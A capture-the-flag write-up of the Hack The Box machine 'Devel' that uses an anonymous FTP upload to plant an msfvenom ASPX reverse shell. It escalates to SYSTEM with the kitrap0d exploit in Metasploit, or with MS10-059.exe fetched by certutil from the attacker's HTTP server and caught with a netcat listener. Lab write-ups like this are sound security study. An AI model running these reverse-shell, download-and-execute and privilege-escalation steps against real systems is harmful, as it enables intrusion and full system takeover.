Ctrlk
Buy me a tea
For the complete documentation index, see llms.txt. This page is also available as Markdown.

Hackthebox - Devel

  • Windows

Devel

Nmap

FTP

We are allowed to connect anonymously, when looking at the files listed on the nmap scan, it seems that these are the files available on the webserver. It seems like we can list directory Can we upload files and access them through the web server?

We can create an hello.html file with just hello in it.

We can see it in the browser Hello.hmtl

This means we could try to execute code, as this is a windows webserver we need a shell compatible with windows.

Initial foothold with Meterpreter

Let's generate one with msfvenom

Now we need to launch metasploit to setup our listener

  • msf6 > use exploit/multi/handler

  • set payload windows/meterpreter/reverse_tcp

  • set lhost tun0

  • set lport 5555

  • exploit -j

We can get back to the ftp and put our exploit in there:

And now we can go to our webpage and access our exploit http://10.10.10.5/meterpreter.aspx And we can see on out metasploit that we have a shell!

Let's interact with our session:

  • Let's see who we are:

  • Let's get info on our target machine:

Enumerate System

  • In meterpreter lets swhitch to a shell using shell command

  • systeminfo

We know we are on windows 7, the owner is babis and the hostname is devel

  • WinPeas does not work

  • Powershell does not work

  • We can see what exploit are suggested through meterpreter exploit suggester

Privilege escalation with Meterpreter

  • use exploit/windows/local/ms10_015_kitrap0d

  • Set the session to the session you have on the target (mine is 7) set session 7

  • Set the lhost set lhost tun0

  • set the lport to a free port I am going to use 5556 set lport 5556

  • exploit

And it worked

Initial foothold with netcat

  • msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=5555 -f aspx > netcat.aspx

  • We put our file in the ftp put netcat.aspx

  • We launch our listener and catch our shell by browsing to the file rlwrap nc -lvp 5555

Privesc without Meterpreter

  • If we go to C:\User\Public we have writing rights and we are able to download an exploit we can ty this one

  • first we download it in our attacking machine

  • Then we launch a python simple http server python3 -m http.server 80

  • And we can download it in our target certutil.exe -urlcache -f http://10.10.14.8/MS10-059.exe exploit.exe

  • We launch a listener rlwrap nc -lvp 5556

  • We launch the exploit exploit.exe 10.10.14.8 5556

  • We get a shell as authority\system:

Flags

We can get the flags in their usual place (with a win cmd we can use type instead of cat):

  • The user one is here cat c:\\Users\\babis\\Desktop\\user.txt

  • The root one is here cat C:\\Users\\Administrator\\Desktop\\root.txt

Resources

As usual there is more than one way to do it :)

LogoDevel Writeup w/o Metasploit | Hack The Box OSCP Preparationrana-khalil.gitbook.io
Writeup Devel - Rana Khalil Gitbook

Resource about the exploit

LogoFull Disclosure: Microsoft Windows NT #GP Trap Handler Allows Users to Switch Kernel Stackseclists.org
Kitrap0d Information
PreviousHackthebox - ChatterboxNextHackthebox - Driver

Last updated